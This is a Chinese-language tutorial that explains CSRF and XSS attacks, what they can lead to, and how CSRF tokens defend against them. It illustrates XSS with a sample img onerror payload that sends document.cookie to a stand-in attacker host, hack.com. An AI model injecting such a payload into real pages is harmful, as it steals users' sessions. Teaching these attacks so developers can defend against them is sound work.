名词解释
CSRF(Cross-site Request Forgery)
跨站请求伪造。攻击者诱导用户在已登录状态下,向目标站点发起一条用户本意之外的请求。
XSS(Cross-site Scripting)
跨站脚本攻击。攻击者将恶意脚本注入页面,让其他用户在浏览页面时执行这段代码。
攻击手段
- CSRF
- XSS
CSRF 的攻击场景
假设你已经登录了 a.com,这时又打开了 b.com 的某个页面。b.com 上放着一段自动提交的表单,表单的 action 指向 a.com。
当浏览器代替你把这个请求发出去时,a.com 会把它当成你自己发起的正常操作。因为浏览器会自动携带当前站点相关的登录信息,攻击者并不需要真正拿到你的密码,就能借你的身份完成一些敏感操作。
需要注意的是,CSRF 重点不是'偷走 cookie',而是'借用浏览器已经保存好的登录态'。
CSRF 可能造成的后果
一旦目标站点没有做好校验,攻击者就可能模拟用户在站点内执行转账、修改资料、发帖、绑定账号等操作。对服务端来说,请求看起来确实来自一个已登录用户,所以危害往往被低估。
XSS 的攻击场景
XSS 属于注入型攻击。常见的情况是:用户 a 在某个网站发布内容时,插入了恶意 JavaScript 代码,而网站又没有对输入做足够的过滤或转义,直接把这段内容保存并展示给其他用户。
比如,攻击者可能会构造类似下面的内容:
<p>这里显示摘要内容,用户可以输入各种文本及图片 <img style="display:none" src="null" onerror="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();" /></p>
当用户 b 浏览这篇文章时,浏览器会执行这段脚本。由于脚本运行在目标站点的上下文中,它就能读取页面中可访问的数据,并将 cookie 等信息发送到攻击者控制的服务器。后续攻击者可以据此做进一步利用。
XSS 可能造成的后果
如果攻击成功,后果通常比 CSRF 更直接,也更难收拾。常见风险包括:
- 窃取用户 cookie 或会话信息
- 冒用用户身份执行操作
- 篡改页面内容,诱导用户继续输入敏感信息
- 结合钓鱼、跳转、恶意请求等方式扩大影响面
防护思路
CSRF 的防护
CSRF 的核心思路,是让服务端能区分'这次请求到底是不是用户本人有意发起的'。既然攻击发生在第三方网站上,就不能指望阻止攻击页面存在,只能把目标站点自己的校验做扎实。
常用做法有这些:
- 为每个表单或关键请求加入 CSRF Token
- Token 需要和会话绑定,服务端校验通过才放行。
- 不要提供一个可以随意获取 Token 的接口,否则防护效果会大打折扣。

